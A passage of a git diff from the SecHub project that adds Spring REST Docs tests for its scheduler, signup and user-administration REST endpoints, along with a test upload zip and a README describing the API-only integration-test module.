get_report_from_existing_job_returns_information_as_html_when_type_is_APPLICATION_XHTML_XML() throws Exception { + /* prepare */ + ScanReport report = new ScanReport(randomUUID,PROJECT1_ID); + report.setResult("{'count':'1'}"); + report.setTrafficLight(TrafficLight.YELLOW); + + ScanReportResult result1 = new ScanReportResult(report); + when(downloadReportService.getScanReportResult(PROJECT1_ID, randomUUID)).thenReturn(result1); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobReportUrl(PROJECT1_ID,randomUUID)).accept(MediaType.APPLICATION_XHTML_XML). + contentType(MediaType.APPLICATION_JSON_UTF8) + ). /*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().contentType("text/html;charset=UTF-8")). + andExpect(content().encoding("UTF-8")). + andExpect(content().string(containsString(randomUUID.toString()))). + andExpect(content().string(containsString("theRedStyle"))). + + andDo(document(RestDocPathFactory.createPath(UseCaseUserDownloadsJobReport.class, "HTML")) + + ); + + /* @formatter:on */ + } + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration{ + + } + + @Before + public void before() throws Exception { + randomUUID=UUID.randomUUID(); + Map map = new HashMap<>(); + map.put("jobuuid", randomUUID); + map.put("styleRed", "theRedStyle"); + map.put("styleGreen", "display:none"); + map.put("styleYellow", "display:none"); + map.put("redList", new ArrayList<>()); + map.put("yellowList", new ArrayList<>()); + map.put("greenList", new ArrayList<>()); + map.put("isWebDesignMode", false); + when(modelBuilder.build(any())).thenReturn(map); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SchedulerRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SchedulerRestControllerRestDocTest.java new file mode 100644 index 0000000000..f70c944821 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SchedulerRestControllerRestDocTest.java @@ -0,0 +1,315 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration.*; +import static com.daimler.sechub.sharedkernel.configuration.TestSecHubConfigurationBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.io.InputStream; +import java.time.LocalDateTime; +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.mock.web.MockMultipartFile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.util.StringUtils; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.docgen.util.RestDocTestFileSupport; +import com.daimler.sechub.domain.schedule.ExecutionResult; +import com.daimler.sechub.domain.schedule.ExecutionState; +import com.daimler.sechub.domain.schedule.ScheduleJobStatus; +import com.daimler.sechub.domain.schedule.SchedulerApproveJobService; +import com.daimler.sechub.domain.schedule.SchedulerCreateJobService; +import com.daimler.sechub.domain.schedule.SchedulerGetJobStatusService; +import com.daimler.sechub.domain.schedule.SchedulerRestController; +import com.daimler.sechub.domain.schedule.SchedulerResult; +import com.daimler.sechub.domain.schedule.SchedulerUploadService; +import com.daimler.sechub.domain.schedule.access.ScheduleAccess; +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.domain.schedule.access.ScheduleAccessRepository; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubCodeScanConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfigurationValidator; +import com.daimler.sechub.sharedkernel.configuration.SecHubFileSystemConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; +import com.daimler.sechub.sharedkernel.type.TrafficLight; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserApprovesJob; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserChecksJobStatus; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserCreatesNewJob; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserUploadsSourceCode; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(SchedulerRestController.class) +@ContextConfiguration(classes = { SchedulerRestController.class, + SchedulerRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class SchedulerRestControllerRestDocTest { + + private static final String PROJECT1_ID = "project1"; + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + @MockBean + private SchedulerApproveJobService mockedScheduleService; + + @MockBean + private SchedulerCreateJobService mockedScheduleCreateJobService; + + @MockBean + private SchedulerGetJobStatusService mockedScheduleJobStatusService; + + @MockBean + private SecHubConfigurationValidator sechubConfigurationValidator; + + @MockBean + private SchedulerUploadService mockeduploadService; + + @MockBean + private SecHubJobRepository mockedJobRepository; + + @MockBean + private ScheduleAccessRepository mockedProjectRepository; + + private ScheduleAccess project1; + + private UUID randomUUID; + + @Test + @UseCaseRestDoc(useCase = UseCaseUserCreatesNewJob.class) + public void restDoc_userCreatesNewJob() throws Exception { + /* prepare */ + UUID randomUUID = UUID.randomUUID(); + SchedulerResult mockResult = new SchedulerResult(randomUUID); + + when(mockedScheduleCreateJobService.createJob(any(), any(SecHubConfiguration.class))).thenReturn(mockResult); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAddJobUrl(PROJECT_ID.pathElement()),PROJECT1_ID). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content(configureSecHub(). + api("1.0"). + webConfig().addURI("https://localhost/mywebapp"). + and(). + infraConfig().addURI("https://localhost").addIP("127.0.0.1"). + and(). + codeScanConfig().setFileSystemFolders("testproject1/src/main/java","testproject2/src/main/java"). + build(). + toJSON()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{jobId:"+randomUUID.toString()+"}")). + andDo(document(RestDocPathFactory.createPath(UseCaseUserCreatesNewJob.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The unique id of the project id where a new sechub job shall be created") + ), + requestFields( + fieldWithPath(PROPERTY_API_VERSION).description("The api version, currently only 1.0 is supported"), + fieldWithPath(PROPERTY_WEB_SCAN).description("Webscan configuration block").optional(), + fieldWithPath(PROPERTY_WEB_SCAN+"."+SecHubWebScanConfiguration.PROPERTY_URIS).description("Webscan URIs to scan for").optional(), + fieldWithPath(PROPERTY_CODE_SCAN).description("Code scan configuration block").optional(), + fieldWithPath(PROPERTY_CODE_SCAN+"."+SecHubCodeScanConfiguration.PROPERTY_FILESYSTEM+"."+SecHubFileSystemConfiguration.PROPERTY_FOLDERS).description("Code scan sources from given file system folders").optional(), + fieldWithPath(PROPERTY_INFRA_SCAN).description("Infrastructure configuration block").optional(), + fieldWithPath(PROPERTY_INFRA_SCAN+"."+SecHubInfrastructureScanConfiguration.PROPERTY_URIS).description("Infrastructure URIs to scan for").optional(), + fieldWithPath(PROPERTY_INFRA_SCAN+"."+SecHubInfrastructureScanConfiguration.PROPERTY_IPS).description("Infrastructure IPs to scan for").optional() + + ), + responseFields( + fieldWithPath(SchedulerResult.PROPERTY_JOBID).description("A unique job id")) + + ) + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseUserUploadsSourceCode.class) + public void restDoc_userUploadsSourceCode() throws Exception { + /* prepare */ + + ScheduleSecHubJob job = new ScheduleSecHubJob() { + public UUID getUUID() { + return randomUUID; + }; + }; + job.setExecutionResult(ExecutionResult.OK); + job.setStarted(LocalDateTime.now().minusMinutes(15)); + job.setEnded(LocalDateTime.now()); + job.setExecutionState(ExecutionState.INITIALIZING); + job.setOwner("CREATOR1"); + job.setTrafficLight(TrafficLight.GREEN); + + ScheduleJobStatus status = new ScheduleJobStatus(job); + + when(mockedScheduleJobStatusService.getJobStatus(PROJECT1_ID, randomUUID)).thenReturn(status); + + InputStream inputStreamTo = RestDocTestFileSupport.getTestfileSupport() + .getInputStreamTo("upload/zipfile_contains_only_test1.txt.zip"); + MockMultipartFile file1 = new MockMultipartFile("file", inputStreamTo); + /* execute + test @formatter:off */ + this.mockMvc.perform( + fileUpload(https(PORT_USED).buildUploadSourceCodeUrl(PROJECT_ID.pathElement(), JOB_UUID.pathElement()) ,PROJECT1_ID,randomUUID). + file(file1).param("checkSum", "mychecksum") + )./*andDo(print()).*/ + andExpect(status().isOk()). + // https://docs.spring.io/spring-restdocs/docs/2.0.2.RELEASE/reference/html5/ + andDo(document(RestDocPathFactory.createPath(UseCaseUserUploadsSourceCode.class), + requestParts(partWithName("file").description("The sourcecode as zipfile to upload")), + requestParameters( + parameterWithName("checkSum").description("A sha256 checksum for file upload validation")), + pathParameters( + parameterWithName("projectId").description("The id of the project where sourcecode shall be uploaded for"), + parameterWithName("jobUUID").description("The jobUUID for sechub job") + ) + ) + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseUserApprovesJob.class) + public void restDoc_userApprovesJob() throws Exception { + /* prepare */ + + ScheduleSecHubJob job = new ScheduleSecHubJob() { + public UUID getUUID() { + return randomUUID; + }; + }; + job.setExecutionResult(ExecutionResult.OK); + job.setStarted(LocalDateTime.now().minusMinutes(15)); + job.setEnded(LocalDateTime.now()); + job.setExecutionState(ExecutionState.ENDED); + job.setOwner("CREATOR1"); + job.setTrafficLight(TrafficLight.GREEN); + + ScheduleJobStatus status = new ScheduleJobStatus(job); + + when(mockedScheduleJobStatusService.getJobStatus(PROJECT1_ID, randomUUID)).thenReturn(status); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + put(https(PORT_USED).buildApproveJobUrl(PROJECT_ID.pathElement(), JOB_UUID.pathElement()),PROJECT1_ID,randomUUID). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseUserApprovesJob.class), + pathParameters( + parameterWithName("projectId").description("The id of the project where sechub job shall be approved"), + parameterWithName("jobUUID").description("The jobUUID for sechub job") + ) + ) + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseUserChecksJobStatus.class) + public void restDoc_userChecksJobState() throws Exception { + /* prepare */ + + ScheduleSecHubJob job = new ScheduleSecHubJob() { + public UUID getUUID() { + return randomUUID; + }; + }; + job.setExecutionResult(ExecutionResult.OK); + job.setStarted(LocalDateTime.now().minusMinutes(15)); + job.setEnded(LocalDateTime.now()); + job.setExecutionState(ExecutionState.ENDED); + job.setOwner("CREATOR1"); + job.setTrafficLight(TrafficLight.GREEN); + + ScheduleJobStatus status = new ScheduleJobStatus(job); + + when(mockedScheduleJobStatusService.getJobStatus(PROJECT1_ID, randomUUID)).thenReturn(status); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobStatusUrl(PROJECT_ID.pathElement(), JOB_UUID.pathElement()),PROJECT1_ID,randomUUID). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{jobUUID:"+randomUUID.toString()+", result:OK, state:ENDED, trafficLight:GREEN}")). + andDo(document(RestDocPathFactory.createPath(UseCaseUserChecksJobStatus.class), + pathParameters( + parameterWithName("projectId").description("The id of the project where sechub job was started for"), + parameterWithName("jobUUID").description("The jobUUID for sechub job") + ), + + responseFields( + fieldWithPath(ScheduleJobStatus.PROPERTY_JOBUUID).description("The job uuid"), + fieldWithPath(ScheduleJobStatus.PROPERTY_CREATED).description("Creation timestamp of job"), + fieldWithPath(ScheduleJobStatus.PROPERTY_STARTED).description("Start timestamp of job execution"), + fieldWithPath(ScheduleJobStatus.PROPERTY_ENDED).description("End timestamp of job execution"), + fieldWithPath(ScheduleJobStatus.PROPERTY_OWNER).description("Owner / initiator of job"), + fieldWithPath(ScheduleJobStatus.PROPERTY_STATE).description("State of job"), + fieldWithPath(ScheduleJobStatus.PROPERTY_RESULT).description("Result of job"), + fieldWithPath(ScheduleJobStatus.PROPERTY_TRAFFICLIGHT).description("Trafficlight of job - but only available when job has been done. Possible states are "+StringUtils.arrayToDelimitedString(TrafficLight.values(),", ")) + + ) + ) + ); + + /* @formatter:on */ + } + + @Before + public void before() { + randomUUID = UUID.randomUUID(); + project1 = mock(ScheduleAccess.class); + + ProjectAccessCompositeKey key = new ProjectAccessCompositeKey("user", PROJECT1_ID); + when(project1.getKey()).thenReturn(key); + + when(mockedProjectRepository.findById(key)).thenReturn(Optional.of(project1)); + + when(sechubConfigurationValidator.supports(SecHubConfiguration.class)).thenReturn(true); + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SignupAdministrationRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SignupAdministrationRestControllerRestDocTest.java new file mode 100644 index 0000000000..acc7b59961 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/SignupAdministrationRestControllerRestDocTest.java @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.Collections; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.signup.SignupAdministrationRestController; +import com.daimler.sechub.domain.administration.signup.SignupDeleteService; +import com.daimler.sechub.domain.administration.signup.SignupRepository; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorDeletesSignup; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorListsOpenUserSignups; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(SignupAdministrationRestController.class) +@ContextConfiguration(classes = { SignupAdministrationRestController.class, + SignupAdministrationRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class SignupAdministrationRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private SignupDeleteService deleteService; + + @MockBean + private SignupRepository signupRepository; + + @Before + public void before() { + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorListsOpenUserSignups.class) + public void restdoc_list_user_signups() throws Exception { + /* prepare */ + when(signupRepository.findAll()).thenReturn(Collections.emptyList()); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsUserSignupsUrl()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorListsOpenUserSignups.class) + ) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorDeletesSignup.class) + public void restdoc_delete_signup() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminDeletesUserSignUpUrl(USER_ID.pathElement()),"userId1") + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorDeletesSignup.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The userId of the signup which shall be deleted") + ) + ) + + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/UserAdministrationRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/UserAdministrationRestControllerRestDocTest.java new file mode 100644 index 0000000000..bb1ce68bee --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/UserAdministrationRestControllerRestDocTest.java @@ -0,0 +1,247 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.LinkedHashSet; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.project.Project; +import com.daimler.sechub.domain.administration.signup.SignupRepository; +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.domain.administration.user.UserAdministrationRestController; +import com.daimler.sechub.domain.administration.user.UserCreationService; +import com.daimler.sechub.domain.administration.user.UserDeleteService; +import com.daimler.sechub.domain.administration.user.UserDetailInformation; +import com.daimler.sechub.domain.administration.user.UserDetailInformationService; +import com.daimler.sechub.domain.administration.user.UserGrantSuperAdminRightsService; +import com.daimler.sechub.domain.administration.user.UserListService; +import com.daimler.sechub.domain.administration.user.UserRevokeSuperAdminRightsService; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorAcceptsSignup; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorGrantsAdminRightsToUser; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllAdmins; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllUsers; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorRevokesAdminRightsFromAdmin; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorShowsUserDetails; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; +import com.daimler.sechub.test.TestURLBuilder; + +@RunWith(SpringRunner.class) +@WebMvcTest(UserAdministrationRestController.class) +@ContextConfiguration(classes = { UserAdministrationRestController.class, + UserAdministrationRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class UserAdministrationRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private UserCreationService userCreationService; + + @MockBean + private UserListService userListService; + + @MockBean + private UserDeleteService userDeleteService; + + @MockBean + private UserDetailInformationService userDetailService; + + @MockBean + private UserGrantSuperAdminRightsService userGrantSuperAdminRightsService; + + @MockBean + private UserRevokeSuperAdminRightsService userRevokeSuperAdminRightsService; + + @MockBean + private SignupRepository signUpRepository; + + @Before + public void before() { + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorGrantsAdminRightsToUser.class) + public void restdoc_grant_admin_rights_to_user() throws Exception { + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminGrantsSuperAdminRightsTo(USER_ID.pathElement()),TestURLBuilder.RestDocPathParameter.USER_ID) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorGrantsAdminRightsToUser.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The userId of the user who becomes admin") + ) + ) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorRevokesAdminRightsFromAdmin.class) + public void restdoc_revoke_admin_rights_from_user() throws Exception { + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminGrantsSuperAdminRightsTo(USER_ID.pathElement()),TestURLBuilder.RestDocPathParameter.USER_ID) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorRevokesAdminRightsFromAdmin.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The userId of the user who becomes admin") + ) + ) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorDeletesUser.class) + public void restdoc_delete_user() throws Exception { + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminDeletesUserUrl(USER_ID.pathElement()),TestURLBuilder.RestDocPathParameter.USER_ID) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorDeletesUser.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The userId of the user who shall be deleted") + ) + ) + + ); + + /* @formatter:on */ + } + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorAcceptsSignup.class) + public void restdoc_accept_user_signup() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminAcceptsUserSignUpUrl(USER_ID.pathElement()),"user1") + )./*andDo(print()).*/ + andExpect(status().isCreated()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorAcceptsSignup.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The userId of the signup which shall be accepted") + ) + ) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorListsAllUsers.class) + public void restdoc_list_all_users() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsUsersUrl()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorListsAllUsers.class)) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorListsAllAdmins.class) + public void restdoc_list_all_admins() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsAdminsUrl()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorListsAllAdmins.class)) + + ); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase = UseCaseAdministratorShowsUserDetails.class) + public void restdoc_show_user_details() throws Exception{ + User user = mock(User.class); + when(user.getName()).thenReturn("user1"); + when(user.getEmailAdress()).thenReturn("user1@example.org"); + Set projects = new LinkedHashSet<>(); + + Project project1 = mock(Project.class); + when(project1.getId()).thenReturn("project1"); + projects.add(project1); + when(user.getProjects()).thenReturn(projects); + UserDetailInformation info = new UserDetailInformation(user); + + when(userDetailService.fetchDetails("user1")).thenReturn(info); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminShowsUserDetailsUrl(USER_ID.pathElement()),"user1") + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorShowsUserDetails.class), + pathParameters( + parameterWithName(USER_ID.paramName()).description("The user id of user to show details for")), + responseFields( + fieldWithPath(UserDetailInformation.PROPERTY_USERNAME).description("The name of the user"), + fieldWithPath(UserDetailInformation.PROPERTY_EMAIL).description("The mail adress of the user"), + fieldWithPath(UserDetailInformation.PROPERTY_SUPERADMIN).description("True, when this user is a super administrator"), + fieldWithPath(UserDetailInformation.PROPERTY_PROJECTS).description("The projects the user has access to"), + fieldWithPath(UserDetailInformation.PROPERTY_OWNED_PROJECTS).description("The projects the user is owner of") + ) + ) + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/resources/upload/.gitignore b/sechub-doc/src/test/resources/upload/.gitignore new file mode 100644 index 0000000000..2dac1f917e --- /dev/null +++ b/sechub-doc/src/test/resources/upload/.gitignore @@ -0,0 +1 @@ +!*.zip \ No newline at end of file diff --git a/sechub-doc/src/test/resources/upload/zipfile_contains_only_test1.txt.zip b/sechub-doc/src/test/resources/upload/zipfile_contains_only_test1.txt.zip new file mode 100644 index 0000000000..f617d9a44e Binary files /dev/null and b/sechub-doc/src/test/resources/upload/zipfile_contains_only_test1.txt.zip differ diff --git a/sechub-integrationtest/README.md b/sechub-integrationtest/README.md new file mode 100644 index 0000000000..c6d9ff255a --- /dev/null +++ b/sechub-integrationtest/README.md @@ -0,0 +1,30 @@ + +# About sechub-integrationtest project +This project is the final sechub integration test project. + +Using special stuff only by enabling profile `Profiles.INTEGRATIONTEST` + +## Concept "use rest api only" +The complete test and setup __is done by API calls only!__ +There must be an existing server running to execute the tests! + +## Why the "use rest api only" way? +Doing this will provide following + +- database: + - switch between H2 and also real postgres database implementation without any changes but switch to another profile + - we delete and create only parts defined in scenarios. So even when a developer accidently would use the PROD system for + integration testing he/she would never kill the complete database... + +- future ready: + - even works when sechub server is divided into different kubernetes PODs (e.g. seperated administration server). + +- real live integration + +## Setup +For initial setup an existing super admin ("integrationtestadm") must be created on start which is done by Profiles.INTEGRATIONTEST automatically + +## Dependencies +The project may not have any dependency to sechub code parts and MUST use only the official API as any other user. + +The only dependencys are to `sechub-testframework` because of using common utilitity methods for testing and to `sechub-adapter` because we reuse rest trustall implementation. \ No newline at end of file diff --git a/sechub-integrationtest/build.gradle b/sechub-integrationtest/build.gradle new file mode 100644 index 0000000000..02edb1d10b --- /dev/null +++ b/sechub-integrationtest/build.gradle @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${project.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile 